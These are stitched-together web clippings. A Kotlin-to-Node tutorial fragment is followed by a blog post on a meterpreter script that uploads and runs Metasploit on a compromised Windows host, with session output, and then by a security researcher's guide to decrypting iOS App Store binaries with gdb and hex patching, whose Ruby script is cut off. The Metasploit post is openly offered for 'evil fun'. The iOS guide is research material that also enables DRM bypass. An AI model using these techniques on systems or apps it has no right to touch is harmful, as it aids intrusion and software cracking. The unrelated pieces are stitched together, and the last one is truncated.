12 |  \}\)  
13 |   
14 |  app.listen\(3000, \{  
15 |  println\("Listening on port 3000"\)  
16 |  \}\)  
17 | \}  
view raw Main.kt hosted with ❤ by GitHub

In this code example, I load the ExpressJS library, I create a GET endpoint
that returns _“I am a beautiful butterfly_ ” as response, and listens on port
3000.

> Hi\! This is Miquel, the author of the post. I hope you like what you are
> reading\!  
> If you are looking for a **freelance Android developer** , look no further\!  
> Check: http://beltran.work/with-me and **I’ll be happy to chat with you\!**
#### Let’s run

First, you’ll have to compile your Kotlin code to JS with Gradle.

[code]

    gradle build
[/code]

A JavaScript file will be generated in `node/index.js` which contains your
Kotlin code compiled to JavaScript.

Now, start your Node server.

[code]

    node node/index.js
[/code]

It works\! You can go to http://localhost:3000 to check that your server is
running.

#### In Summary

Kotlin is not the only language that can be compiled to JavaScript, but it’s a
language that you might already know thanks to it’s increasing popularity
among Android developers. If it happens that you are already playing with it,
now you have no excuse to explore other usages.

If you are an independent Android developer, having the power to quickly
create micro-services can help you a lot to enhance your applications.

As you saw by this guide, building a small service took minutes, with barely
any boilerplate code and you can use the same IDE you are already familiar
with.

# Room362.com » Blog Archive » Metasploit Framework as a Payload

**Created:**| _6/28/2009 7:26:58 PM_  
---|---  
**Updated:**| _6/28/2009 7:27:07 PM_  
**Author:**| __  
**Tags:**| _Exploit Metasploit scripting_  
  

## Metasploit Framework as a Payload

Well, sorta…

I created a meterpreter script that takes the cygwin bundled version of
Metasploit inside of a NullSoft installer that HD Moore created and deploys it
using meterpreter to the compromised host, extracts/installs it, and runs the
shell. Now I left this intentionally open so that you could package your own
cygwin bundle \(possibly with nmap and netcat\), for your own evil fun.

_Thanks defintely go to Carlos Perez \(Dark0perator\) and HD Moore for their
help getting this bad boy working right._

You can download the script here: http://www.room362.com/tools/deploymsf.rb

You can download the cygwin installs from the metasploit website:

13mb FULL framework: https://metasploit.com/framework-3.3-dev.exe  
5mb MINI \(just msfconsole\): https://metasploit.com/mini-3.3-dev.exe

And here is what it looks like:

> meterpreter > run deploymsf -f framework-3.3-dev.exe  
> \[\*\] Running Meterpreter MSFp Deploytment Script…..  
> \[\*\] Uploading MSFp for for deployment….  
> \[\*\] MSFp uploaded as C:\DOCUME~1\mubix\LOCALS~1\Temp\12681.exe  
> \[\*\] Installing MSFp………..  
> \[\*\] Done\!  
> \[\*\] Installation Complete\!  
> \[\*\] Running cygwin shell channelized…  
> \[\*\] Channel 18 created – Type: interact 18 to play  
> \[\*\] Be warned, it takes a bit for post setup to happen  
> \[\*\] and you will not see a prompt, try pwd to check  
> meterpreter > interact 18  
> Interacting with channel 18…
> \[\*\] Configuring multi-user permissions for first run…  
> \[\*\] Configuring the initial user environment…  
> pwd  
> /home/mubix  
> ls  
> msfconsole  
> \*\*\* Metasploit only has EXPERIMENTAL support for Ruby 1.9.1 and newer,
> things may break\!  
> \*\*\* Please report bugs to msfdev\[at\]metasploit.com  
> \[-\] \*\*\*  
> \[-\] \* WARNING: No database support: LoadError no such file to load —
> active\_record  
> \[-\] \*\*\*
> \#\# \#\#\# \#\# \#\#  
> \#\# \#\# \#\#\#\# \#\#\#\#\#\# \#\#\#\# \#\#\#\#\# \#\#\#\#\# \#\# \#\#\#\#
> \#\#\#\#\#\#  
> \#\#\#\#\#\#\# \#\# \#\# \#\# \#\# \#\# \#\# \#\# \#\# \#\# \#\# \#\#\# \#\#  
> \#\#\#\#\#\#\# \#\#\#\#\#\# \#\# \#\#\#\#\# \#\#\#\# \#\# \#\# \#\# \#\#
> \#\# \#\# \#\#  
> \#\# \# \#\# \#\# \#\# \#\# \#\# \#\# \#\#\#\#\# \#\# \#\# \#\# \#\# \#\#  
> \#\# \#\# \#\#\#\# \#\#\# \#\#\#\#\# \#\#\#\#\# \#\# \#\#\#\# \#\#\#\#
> \#\#\#\# \#\#\#  
> \#\#
> =\[ msf v3.3-dev  
> \+ — –=\[ 379 exploits – 231 payloads  
> \+ — –=\[ 20 encoders – 7 nops  
> =\[ 156 aux
> msf >GAME OVER

# Episode226 - PaulDotCom Security Weekly

**Created:**| _1/20/2011 11:56:03 AM_  
---|---  
**Updated:**| _1/20/2011 11:57:10 AM_  
**Author:**| __  
**Tags:**| _reversing mobile/embedded Mac-hacking_  
  

# Guest Tech Segment: Eric Monti on iPhone Application Reversing and Rootkits

Eric Monti is a Senior Security Researcher at Trustwave's SpiderLabs. He has
over 12 years experience in the security industry team focused on security
tools development, vulnerability research and detection, malware analysis, and
reverse engineering.

What if jailbreak techniques were instead used for malicious purposes?

In this technical segment he'll explain how he reverse engineered jailbreaks
to develop exploits, deliver malicious payloads, and create a propagating
\(wormlike\) process for installing malicious rootkits on every iOS device
that Apple makes. He'll also demonstrate a proof of concept attack in which he
roots one or more iOS devices stealthily without letting the user know.

You can catch some information on

  * ekoparty presentation

## Eric's Write-up

At the Toorcon and Ekoparty conferences late last year I gave a presentation
on iPhone rootkit techniques. At a high level, both presentations focused
specifically on the jailbreakme.com exploit released at the end of August
2010, but also discussed several approaches to mobile rootkits, specifically
focusing on the iOS operating system. Some of the techniques I discussed or at
least made reference to included:

  1. Kernel layer rootkits: Usually entails identifying the location of the kernel syscall "sysent" table and modifying function pointers in memory to add subversive hooks in the kernel to control various aspects of the system behavior.
  2. Userland layer rootkits: Typically involves replacing and/or adding system binaries to add backdoors, hide processes, etc. In some cases can often also incorporate library injection techniques to avoid having to change any files in an obvious manner.
  3. Application layer rootkits: Basically userland rootkits but for a specifically targetted application \(often 3rd party, not part of the operating system\).

I covered specific information in my presentation on implementing application-
centric rootkits. This included techniques for reversing iTunes App Store
applications. The techniques can then be used to find suitable locations for
hooking application logic and use this information to develop drop-in
libraries which can be injected into applications. In my presentation at
toorcon, I demonstrated an application rootkit targetting an iPhone credit-
card payment application called Square. This specific application is really
cool, and I picked it only because it presented a "juicy" target to play with
\(plus it was a free download\). The Square application itself is no more or
less secure than many other iOS applications.

The same techniques I used for this research can be applied to other apps in
the Apple App Store. But, forty minutes on stage is not an ideal venue to
cover detailed technical information, so I'd like to take the opportunity of
writing this article for PaulDotCom to provide additional details on how all
of this worked in my research.

## Reversing App Store Binaries

Some reversing of iOS apps is often a required first step if the intent is to
identify opportunities for runtime hooking or researching iOS application
security. The primary obstacle to overcome in reversing iOS binaries from the
App Store is that all published applications are encrypted using Apple's
binary encryption scheme. Decrypting this format is not a new technique, but
it's good to understand how it works. Aside from researching and experimenting
with rootkits, this is also an invaluable technique to understand when
auditing the security of 3rd party iPhone applications.

A few important things to note before going any further:

  1. This guide is probably more useful to security researchers reversing apps for security auditing purposes than malware authors.
  2. If you are looking for an actual rootkit or evil injectable library code in this article, look elsewhere. The demonstration example here is completely benign by design.
  3. I am \_not\_ advocating cracking 3rd party applications to bypass DRM or avoid paying for software in any way. The purpose of my research has never been to steal hard work from others, but to validate and verify the security of my iPhone. Software and DRM cracking and is an interesting and valuable computer security science, but when applied in practice it's a just crappy thing to do to authors and other developers. Don't be a jerk\!
  4. Similarly, I am \_not\_ advocating the development of iPhone rootkits, but I hope that in researching, discussing, and publishing information about this topic, it will help protect against them.

That said, onto the actual important things to note:

  1. To follow along, you will need access to an iOS device and either the Apple iOS SDK or 3rd the party OpenSource iPhone development toolchain. For research purposes, you'll want to jailbreak the iDevice and install an ssh server as well.
  2. Regardless which SDK you use, it's priobably easier to have a OS X box \(or Linux box in the case of the opensource toolchain\).
  3. Finally, this comes up a lot so: the iPhone emulator is of little use when reversing 3rd party apps. It actually runs intel code compiled specifically to target the emulator in your xcode projects. It won't work with binaries downloaded from the Apple App Store since those are for an arm architecture. It's certainly a neat peice of software, but save yourself the time and trouble and skip this for reversing apps. Others have tried and failed already so you don't have to.

A pretty well established process exists for decrypting encrypted iOS app
store binaries, and involves dumping the code and data sections of the binary
out of memory on the device after they've been decrypted. This is done at
runtime using a debugger, usually gdb. Not surprisingly, this process requires
a jailbroken iDevice. Several pre-packaged utilities have been published for
iOS to automate this process, but it helps to understand what is going on
under their hood when reseaching app security issues. An excellent article by
Pedram Amini was written circa 2009 for the DVlabs security blog describing
how this process works. Although Mr Amini's article is extremely clear and
well written, I will revisit the binary decryption process here and hopefully
provide a bit more context as well as focus on additional details specific to
reversing Objective-C code.

First, we need to download an application and find it on our phone. For this
example we're just going to use Just Light Flashlight, a very simple app. All
it does is turn an iPhone or iPod Touch screen all white at full brightness so
that you can use it like a flashlight. We really can't do anything actually
sneaky with Just Light. The most we can probably shoot for is mildly annoying.
That said, is perfect for experimenting with since it is free and it is a
really basic Objective-C program to start reversing on.

  

## Getting Around the Device and First Looks

Once we have the application on our device, we should find the directory where
the binary was installed. Each downloaded application gets stored in the
/var/mobile/Applications directory on the device in a subdirectory named with
a UUID. Lets SSH to the device and cd into that directory. Note the UUID below
will be different on your device:

[code]

    myMac:/var/mobile root# cd /var/mobile/Applications/*/Just\ Light*.app
    myMac:/var/mobile root# pwd
    /var/mobile/Applications/0276A138-F954-5E1B-A982-24CDA2A9153D/Just Light.app
    
    
[/code]

Once in the app directory, we are basically inside the application bundle
containing all the files downloaded in the application package.

[code]

    iPhone root# ls -l
    total 80
    lrwxr-xr-x 1 mobile mobile    28 Oct 13 16:49 CodeResources -> _CodeSignature/CodeResources
    -rw-r--r-- 1 mobile mobile   625 Oct 13 16:49 Info.plist
    -rwxr-xr-x 1 mobile mobile 20064 Oct 13 16:49 Just\ Light*
    -rw-r--r-- 1 mobile mobile  1310 Oct 13 16:49 MainWindow.nib
    -rw-r--r-- 1 mobile mobile     8 Oct 13 16:49 PkgInfo
    -rw-r--r-- 1 mobile mobile   218 Oct 13 16:49 ResourceRules.plist
    drwxr-xr-x 2 mobile mobile   136 Oct 13 16:49 SC_Info/
    drwxr-xr-x 2 mobile mobile   102 Oct 13 16:49 _CodeSignature/
    -rw-r--r-- 1 mobile mobile  3771 Oct 13 16:49 icon.png
    
    
[/code]

You'll probably want to go ahead and copy this directory structure recursively
onto the workstation or other system you'll be doing your reversing from right
away. We still have some more work to do on the iDevice too, though so stay
logged in. You'll notice I'm bouncing a lot between my mac and my iPhone in
the examples that follow but I'll try to include pointers for how to do each
bit on either whenever possible.

One directory up from the \*.app dir is the sandbox in which the application
runs and may include additional data we might care about at runtime. We won't
really be concerned with data for this example, but you probably want to be
aware of this for real-world cases. It is very common to find sqlite db's and
other interesting files laying around in these sandbox directories, so
definitely look around when you're doing this in the real world.

Lets just glance up at it to get our bearings:

[code]

    root# ls ..
    Documents/  Just\ Light.app/  Library/  iTunesArtwork  iTunesMetadata.plist  tmp/
    
    
[/code]

  
The file we primarily care about is the executable "Just Light". However, in
some cases, it may useful to view the NIB files for the application. The NIBs
are where xcode compiles UI information for Cocoa applications. In this case
there is only MainWindow.nib \(which most apps will also likely have\). A NIB
file is actually a binary encoded plist file. We can get a human readable
version of it with a tool called 'plutil' \(provided with OS X, conveniently
re-implemented on iOS in the Erica Sadun utilities from Cydia\) Convert it to
XML plist format like so:

[code]

    iPhone root# cp MainWindow.nib MainWindow.plist
    iPhone root# plutil -convert xml1 MainWindow.plist
    Converted 1 files to XML format
    iPhone root# head MainWindow.plist 
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
            <key>$archiver</key>
            <string>NSKeyedArchiver</string>
            <key>$objects</key>
            <array>
                    <string>$null</string>
                    <dict>
    ...
    
    
[/code]

There's not much to the UI in this application, but you can sometimes make use
of this extra info in real-world reversing sessions. Lets move onto the
binary.

If we load "Just Light" into IDA or any other static reversing tool right now,
it won't be much use to us. All the interesting stuff is encrypted. To
illustrate this, lets run this through a tool called class-dump which we'll
revisit later. Suffice to say that class-dump should give us extensive info on
Objective-C classes stored in the executable, but right now it doesn't work on
the encrypted data:

[code]

    myMac:Just Light.app emonti$ class-dump Just\ Light 
    /*
     *     Generated by class-dump 3.3.2 (64 bit).
     *
     *     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2010 by Steve Nygard.
     */
    
    #pragma mark -
    
    /*
     * File: Just Light
     * Arch: arm v6 (armv6)
     *
     *       Objective-C Garbage Collection: Unsupported
     *       This file is encrypted:
     *           cryptid: 0x00000001, cryptoff: 0x00001000, cryptsize: 0x00001000
     */
    
    
[/code]

There are a few things that we can do with the file right now, though.
Particularly, we can inspect the Mach-O headers with the otool and view a
symbol table withnm. As with many things, Apple doesn't provide an otool and
nm for iOS, but they are available the Cydia package odcctools. Note that many
of the OS X command-line tools provided with xcode will work on iOS binaries
as well. You may also want to compile a gnu binutils package to support mach-o
and arm architectures on your workstation.

You may have used otool before to do ldd-style library listings, but that's
just part of what it can do for us.

[code]

    myMac:Just Light.app emonti$ otool -L Just\ Light 
    Just Light:
            /System/Library/Frameworks/Foundation.framework/Foundation (compatibility version 300.0.0, current version 678.29.0)
            /System/Library/Frameworks/UIKit.framework/UIKit (compatibility version 1.0.0, current version 752.0.0)
            /System/Library/Frameworks/CoreGraphics.framework/CoreGraphics (compatibility version 64.0.0, current version 359.13.2)
            /usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 1.0.0)
            /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 111.0.10)
            /usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 227.0.0)
            /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation (compatibility version 150.0.0, current version 478.29.0)
    
    
[/code]

The symbol table isn't always very verbose, but in this case it contains some
rather interesting info as well. We can dump it with 'nm':

[code]

    myMac:Just Light.app emonti$ nm Just\ Light 
    000020b8 t -[Just_LightAppDelegate applicationDidFinishLaunching:]
    000020f8 t -[Just_LightAppDelegate dealloc]
    00002140 t -[Just_LightAppDelegate setWindow:]
    00002134 t -[Just_LightAppDelegate window]
    00003014 D _NXArgc
    00003010 D _NXArgv
    000031f0 d _OBJC_CLASS_$_Just_LightAppDelegate
             U _OBJC_CLASS_$_NSAutoreleasePool
             U _OBJC_CLASS_$_NSObject
             U _OBJC_CLASS_$_UIApplication
    000031ec d _OBJC_IVAR_$_Just_LightAppDelegate.window
    0000322c d _OBJC_METACLASS_$_Just_LightAppDelegate
             U _OBJC_METACLASS_$_NSObject
             U _UIApplicationMain
    00003008 D ___progname
    00001000 A __mh_execute_header
             U __objc_empty_cache
             U __objc_empty_vtable
    0000300c D _environ
             U _exit
    0000206c t _main
             U _objc_msgSend
             U _objc_msgSendSuper2
             U _objc_setProperty
    00003018 d dyld__mach_header
    0000204c t dyld_stub_binding_helper
    00002000 T start
    
    
[/code]

From 'otool -L' we see that the application hooks several Objective-C
frameworks. And 'nm' gave us some tell-tale objective-C information. While
this doesn't guarantee that the core is written in Objective-C, it is still
encouraging. It's worth pointing out that otool can even dump Objective-C
information similar to what class-dump does with 'otool -o'. But if you try it
now you'll see that it gives us what might be class metadata, except that the
info is not very useful because it refers to strings and other info "from a
protected section".

[code]

    #       -o     Display the contents of the __OBJC segment used by the Objective-C run-time system.
    
    myMac:Just Light.app emonti$ otool -o Just\ Light 
    Just Light:
    Contents of (__DATA,__objc_classlist) section
    00003324 0x31f0
               isa 0x322c
        superclass 0x0
             cache 0x0
            vtable 0x0
              data 0x3204 (struct class_ro_t *)
                        flags 0x10
                instanceStart 4
                 instanceSize 8
                   ivarLayout 0x0
                         name 0x25c4 some string from a protected section
                  baseMethods 0x3280 (struct method_list_t *)
                       entsize 12
                         count 4
                          name 0x22d0 some string from a protected section
    ...
    
    
[/code]

So, we already see there are some structures and symbol information exposed in
our encrypted binary, but it is far from a complete picture. After decryption
we'll see the \_\_OBJC section provides much more useful info.

Before we go into further reversing, we need to understand a little about some
distinctions between Mach-O and FAT files on darwin. "Just Light" happens to
be a Mach-O binary without a FAT header. The FAT file format is how Apple is
able to bundle what they call "universal binaries" as a single file and
contains more than one mach section. Each Mach-O section \(generally
speaking\) contains a seperate copy of the executable code for the
architecture it has been compiled for. You'd think that since iOS is arm,
there would only ever be one architecture, but this is not true with newer
binaries. You will likely run into newer programs that are FAT files
containing armv6 and armv7 code together. I don't happen to have any, but
older binaries may even include armv4 or armv5

My preferred quick/dirty way to inspect files is using the file\(1\) command.
Using otool gives us a bit more information.

[code]

    myMac:Just Light.app emonti$ file Just\ Light 
    Just Light: Mach-O executable arm
    
    myMac:Just Light.app emonti$ otool -h Just\ Light 
    Just Light:
    Mach header
          magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
     0xfeedface      12          6  0x00          2    18       1880 0x00000085
    
    myMac:Just Light.app emonti$ otool -f Just\ Light
    # ... nada
    
    
[/code]

We can see Just Light is a Mach-O arm executable and otool identified Mach-O
header fields as "cputype 12 / subtype 6" which is armv6. There is no FAT
header \(as illustrated with otool -f\)

By contrast, lets look at a newer, FAT executable from iOS. I'll use iBooks
for this example since I happen to have it laying around. If you want to
follow along, you can grab a copy from the app store for free. This one is
published by Apple, and since it's on the App store, it's also encrypted.

[code]

    myMac:Just Light.app emonti$ file ../iBooks.app/iBooks 
    ../iBooks.app/iBooks: Mach-O universal binary with 2 architectures
    ../iBooks.app/iBooks (for architecture armv6):        Mach-O executable arm
    ../iBooks.app/iBooks (for architecture armv7):        Mach-O executable arm
    
    myMac:Just Light.app emonti$ otool -h ../iBooks.app/iBooks 
    ../iBooks.app/iBooks (architecture armv6):
    Mach header
          magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
     0xfeedface      12          6  0x00          2    41       4640 0x00000085
    ../iBooks.app/iBooks (architecture armv7):
    Mach header
          magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
     0xfeedface      12          9  0x00          2    41       4640 0x00000085
    
    myMac:Just Light.app emonti$ otool -f ../iBooks.app/iBooks 
    Fat headers
    fat_magic 0xcafebabe
    nfat_arch 2
    architecture 0
        cputype 12
        cpusubtype 6
        capabilities 0x0
        offset 4096
        size 2424704
        align 2^12 (4096)
    architecture 1
        cputype 12
        cpusubtype 9
        capabilities 0x0
        offset 2428928
        size 1996640
        align 2^12 (4096)
    
    
    
[/code]

We see that iBooks contains Mach-O sections for multiple architectures, and
the file type is a "universal binary" \(aka FAT\). The architectures contained
are armv6\(cputype 12/subtype 6\) and armv7\(cputype 12/subtype 9\). The otool
-f command now shows us information on the FAT header as well. For more info
on darwin's architecture system see arch\(3\).

  

## Thinning Mach-O Binaries for Reversing

The reason we care about the architecture and binary format is to focus on one
in further steps to decrypt a FAT binary. We will want to identify exactly
what our preferred iDevice cputype is to know what code in the file is
actually being run. Here's a short program to help do that.

[code]

    /* archinfo by eric monti 
     * a utility for displaying the effective preferred mach-o architecture 
     */
    
    #include <mach-o/arch.h>
    #include <stdio.h>
    
    int main(int argc, char ** argv) {
      char * byteorders[3] = {"unknown", "little-endian", "big-endian"};
      const NXArchInfo *ai = NXGetLocalArchInfo();
    
      printf("name=%s, desc='%s', cputype=%i, subtype=%i, byteorder=%s(%i)\n",
          ai->name, ai->description, ai->cputype, ai->cpusubtype, 
          byteorders[(ai->byteorder > 2 || ai->byteorder < 0 ) ? 0 : ai->byteorder], 
          ai->byteorder
      );
    }
    
    
[/code]

Once we compile this for iOS and upload it to our device, we can use it to
identify the default architecture. Here's what I see on an iPhone 4.

[code]

    iPhone:/var/mobile root# ./archinfo 
    name=armv7, desc='arm v7', cputype=12, subtype=9, byteorder=little-endian(1)
    
    
[/code]

So, this means that when my iPhone is presented with a FAT binary that
includes an armv7 architecture, it will default to using that architecture.
The device may still work with earlier arm architectures \(at least armv6\).
So if a armv6 Mach-O binary or a FAT binary containing only armv6 is run, it
should still work too.

This complicates reversing for us somewhat. If we were to reverse engineer
iBooks, it'd be nice just to focus on one architecture at a time. Using
lipo\(1\) we can create a "thin" binary from a "fat" one. Lets "thin" iBooks
down to our default architecture:

[code]

    myMac:~_exes emonti$ lipo -thin armv7 iBooks -output iBooks_armv7
    myMac:~_exes emonti$ file iBooks_armv7 
    iBooks_armv7: Mach-O executable arm
    myMac:~ emonti$ otool -h iBooks_armv7 
    iBooks_armv7:
    Mach header
          magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
     0xfeedface      12          9  0x00          2    41       4640 0x00000085
    
    
    
[/code]

Thankfully, we don't need to worry about any of this for "Just Light" \(at
least the version I have\). It is already a thin armv6 binary. So if all that
seemed like an unnecessary digression, sorry. But trust me when I say this
usually gets glossed over and it can really frustrate you if/when you run into
an encrypted FAT iOS binary you want to reverse.

  

## Decrypting the Binary

Alright, so we have a thinned single-architecture Mach-O binary ready to start
reversing on. We're ready to decrypt. You may have noticed earlier that class-
dump spat out some header information in the Just Light binary when it
informed us it wouldn't work on an encrypted file:

[code]

    /*
     * File: Just Light
     * Arch: arm v6 (armv6)
     *
     *       Objective-C Garbage Collection: Unsupported
     *       This file is encrypted:
     *           cryptid: 0x00000001, cryptoff: 0x00001000, cryptsize: 0x00001000
     */
    
    
[/code]

These are Mach-O header values which are part of the LC\_ENCRYPTION\_INFO load
command. We can list all load commands in a binary with "otool -l" as follows:

[code]

    myMac:Just Light.app emonti$ otool -l Just\ Light
    # theres a ton of info displayed, some is more useful than others
    # skip to the LC_ENCRYPTION_INFO structure...
    ...
    Load command 9
              cmd LC_ENCRYPTION_INFO
          cmdsize 20
     cryptoff  4096
     cryptsize 4096
     cryptid   1
    ...
    
    
[/code]

What the LC\_ENCRYPTION\_INFO structure above tells us is:

  1. Encryption is enabled: cryptid = 1
  2. The encryption data starts at offset 4096 \(or 0x1000\): cryptoff = 4096
  3. The encrypted data is 4096 \(or 0x1000\) bytes long: cryptoff = 4096

Note the offset is relative from the beginning of the Mach-O header when it is
loaded into memory. We can determine this what the true offset in memory is
from 'nm'. When we ran nm earlier we saw:

[code]

    00001000 A __mh_execute_header
    ...
    00002000 T start
    
    
[/code]

This indicates where the Just Light encrypted section will be located in
memory before and after decryption.

In this case we got lucky and have a 'start' symbol pointing at the address
0x2000. However, 'start' is not always present in the symbol table, so a more
reliable method is to take the offset for \_\_mh\_execute\_header and add the
'cryptoff' value to that. This gives us 0x2000 too\!

The 'start' symbol also implies we should set a breakpoint at 0x2000 to get at
decrypted code before it is run. However, it is not always there and
technically, does strictly have to be the entrypoint of the program. A more
reliable way of identifying the entrypoint is to again use 'otool -l' and find
the LC\_UNIXTHREAD load command.

[code]

    Load command 8
            cmd LC_UNIXTHREAD
        cmdsize 84
         flavor ARM_THREAD_STATE
          count ARM_THREAD_STATE_COUNT
                r0  0x00000000 r1     0x00000000 r2  0x00000000 r3  0x00000000
                r4  0x00000000 r5     0x00000000 r6  0x00000000 r7  0x00000000
                r8  0x00000000 r9     0x00000000 r10 0x00000000 r11 0x00000000
                r12 0x00000000 r13    0x00000000 r14 0x00000000 r15 0x00002000
                r16 0x00000000
    
    
[/code]

The LC\_UNIXTHREAD load command is initializes thread state when the main
thread is created on launch. Initializing thread state is really just a matter
of setting all the registers in the state you want them before executing the
thread. Notice how r15 is set to 0x2000? In this case, r15 represents the
program counter on ARM and the pc is the equivalient of eip on x86. This is a
much more definitive indication for the entrypoint in our target. Note
however, it does not necessarily have to point to the beginning of the
encrypted section, but will almost always be somewhere inside it.

We are ready to load our target in a gdb and have a breakpoint address that
should fire before any real code is executed. We know where to look for the
encrypted data, which is also where it will be located when it is decrypted.
This early breakpoint is important, since our target may implement any manner
of anti-debugging tricks which are becoming all the more common on iOS as
Apple and developers raise the bar against software crackers and, to a lesser
extent... us.

Now, lets open our target in gdb. Again, gdb is available as a Cydia package.

[code]

    iPhone # gdb --quiet Just\ Light 
    (gdb) break *0x2000
    Breakpoint 1 at 0x2000
    
    
[/code]

Before we execute, lets just take a quick look at the encrypted code at
0x2000. We notice that these are not yet valid instructions:

[code]

    (gdb) x/5i 0x2000
    0x2000:        addge        r4, r7, r4, asr r11
    0x2004:        bl        0xfe147a48
    0x2008:        ldrbcc        r5, [r4, #3476]
    0x200c:        andmi        lr, r12, r12, lsl #7
    0x2010:        svcpl        0x003dcbc2
    
    
[/code]

What happens next is when we run the code it will be decrypted by the kernel's
mach loader. Our breakpoint at 'start' should fire immediately after.

[code]

    (gdb) run
    Starting program: Just Light 
    Removing symbols for unused shared libraries . done
    Reading symbols for shared libraries ..................................................... done
    
    Breakpoint 1, 0x00002000 in ?? ()
    
    
    
[/code]

What does our decrypted section look like now?

[code]

    (gdb) x/5i 0x2000
    0x2000:        ldr        r0, [sp]
    0x2004:        add        r1, sp, #4        ; 0x4
    0x2008:        add        r4, r0, #1        ; 0x1
    0x200c:        add        r2, r1, r4, lsl #2
    0x2010:        bic        sp, sp, #7        ; 0x7
    
    
[/code]

Success\! Lets now dump this entire section out to a file. We'll use the
'cryptsize' value from earlier to determine the size of data to dump. The
cryptsize was 0x1000. Added that to our cryptoff in memory at 0x2000. The end
of the crypt section in memory is at 0x3000.

In a pinch, we can also use gdb to tell us the address ranges of the regions
we're looking at.

[code]

    (gdb) info mach-regions
    Region from 0x0 to 0x1000 (---, max ---; copy, private, not-reserved)
       ... from 0x1000 to 0x2000 (r-x, max r-x; copy, private, not-reserved)
       ... from 0x2000 to 0x3000 (r-x, max rwx; copy, private, not-reserved)
       ... from 0x3000 to 0x4000 (rw-, max rw-; copy, private, not-reserved)
       ... from 0x4000 to 0x6000 (r--, max r--; copy, private, not-reserved)
    ...
    
    
[/code]

Lets dump the decrypted data out to a file and quit gdb. We're done with gdb
for decryption purposes. The rest of this process will involve static
analysis.

[code]

    (gdb) dump memory decrypted.bin 0x2000 (0x2000 + 0x1000)
    (gdb) quit
    The program is running.  Exit anyway? (y or n) y
    
    
[/code]

  

## Creating a File Suitable for Reversing

We now have the decrypted data from the executable, but it doesn't have a
header or any of the rest of the Mach-O file around it. While we could
technically disassemble and/or decode this file, it'll be harder without the
header. Lets copy the file we created down onto our workstation and create a
decrypted Mach-O file to work with.

[code]

    myMac:Just Light.app emonti$ cp "Just Light" "Just Light_decrypted"
    
    
[/code]

Open it up the \*\_decrypted file in your favorite hex editor. If your
favorite hex editor doesn't let you do basic things like jump to offsets,
paste binary data, and search hex strings, you need to find a new favorite hex
editor. I like 0xED or hex fiend on macs.

We'll search for the cryptinfo section first and fix it up. This file isn't
going to be "encrypted" when were done, and some tools we may want to use will
need the headers to reflect that. So lets search for the LC\_ENCRYPTION\_INFO
in the binary. There's more elegant ways to do this, like actually parsing the
mach-O headers, but this works just fine 99% of the time. First take the info
we got from otool and convert it back to binary. The values are little endian
and the structure for the load command looks like so:

[code]

    cmd LC_ENCRYPTION_INFO (21000000h)
      cmdsize 20           (14000000h)
      cryptoff 4096        (00100000h)
      cryptsize 4096       (00100000h)
      cryptid 1            (01000000h)
    
    The binary sequence to search for should look like:
      2100000014000000001000000010000001000000
    
    
    
[/code]

When I search for the load command in my working copy of Just Light, I find it
at offset 0x0560. The cryptid value is located 16 bytes further in at offset
0x0570. Change it from "01 00 00 00" to "00 00 00 00". Save the file and we
can confirm our modification with 'otool -l' like so:

[code]

    myMac:Just Light.app emonti$ otool -l Just\ Light_decrypted |less
    ...
    Load command 9
              cmd LC_ENCRYPTION_INFO
          cmdsize 20
     cryptoff  4096
     cryptsize 4096
     cryptid   0    <--
    
    
[/code]

Now all that's left to do is take the decrypted data from decrypted.bin and
save it to the file over the encrypted blob. In another window of our hex
editor, just copy all the contents of decrypted.bin. In the hex editor window
with "Just Light\_decrypted" open, jump to file offset 0x1000 and overwrite
everything from here to 0x2000 with the contents of decrypted.bin.

If you don't want to use a hex editor for this and/or want to automate it,
I've included some code to help. Firstly, grab a copy of the ruby blackbag.
There's a command-line tool called 'bgrep' included. we'll use to find the
offset of the LC\_ENCRYPTION\_INFO structure.

[code]

    myMac:Just Light.app emonti$ bgrep -x "2100000014000000001000000010000001000000" Just\ Light_decrypted 
    00000560:00000574:b:"!\000\000\000\024\000\000\000\000\020\000\000\000\020\000\000\001\000\000\000"
    myMac:Just Light.app emonti$ ruby -e 'puts 0x00000560'
    1376
    
    
[/code]

Here's a ruby script that automates the rest of this. It requires you know the
offset of the LC\_ENCRYPTION\_INFO structure in the file, which we just got
from 'bgrep'. I didn't include that step in the script because it might be
advantageous to be able to use this on FAT binaries as well.

[code]

    #!/usr/bin/env ruby
    # uncrypt.rb by eric monti
    # A utility for patching encrypted mach-o binaries with decrypted data.
    #
    # usage: uncrypt.rb exe_file dec_file lc_offset
    
    LC_ENCRYPTION_INFO_CMD = 0x00000021
    LC_ENCRYPTION_INFO_CMDSIZE = 20
    
    if( ARGV.include?("-h") or not 
        (exe = ARGV.shift and decrypt = ARGV.shift and lc_offset = ARGV.shift))
      STDERR.puts "usage: #{File.basename $0} exe_file dec_file lc_offset"
      exit 1
    end
    
    lc_offset = lc_offset.to_i
    decrypt_dat = File.read(decrypt)
    
    File.open(exe, "r+") do |f|
      f.pos = lc_offset
      lc = f.read(LC_ENCRYPTION_INFO_CMDSIZE)
      cmd, cmdsize, cryptoff, cryptsize, cryptid = lc.unpack("I5")
    
      if cmd != LC_ENCRYPTION_INFO_CMD or cmdsize != LC_ENCRYPTION_INFO_CMDSIZE
        STDERR.puts "Error: Invalid LC_ENCRYPTION_INFO structure at 0x%0.8x" % lc_offset
        exit 1
      elsif cryptsize != decrypt_dat.size
        STDERR.puts "Error: Your decrypted data from #{decrypt} does not have the correct size"
        STDERR.puts "Expected #{cryptsize} got #{decrypt_dat.size} from file"
        exit 1
      else
        STDERR.puts( "** Found LC_ENCRYPTION_INFO Structure at bytes offset #{lc_offset}",
                     "** lc_cmd=0x%0.8x, cmdsize=0x%0.8x, cryptoff=0x%0.8x, cryptsize=0x%0.8x, cryptid=0x%0.8x" %[
                       cmd, cmdsize, cryptoff, cryptsize, cryptid] )
    
        if cryptid != 0
          STDERR.puts "!! Patching cryptid"
          f.pos -= 4
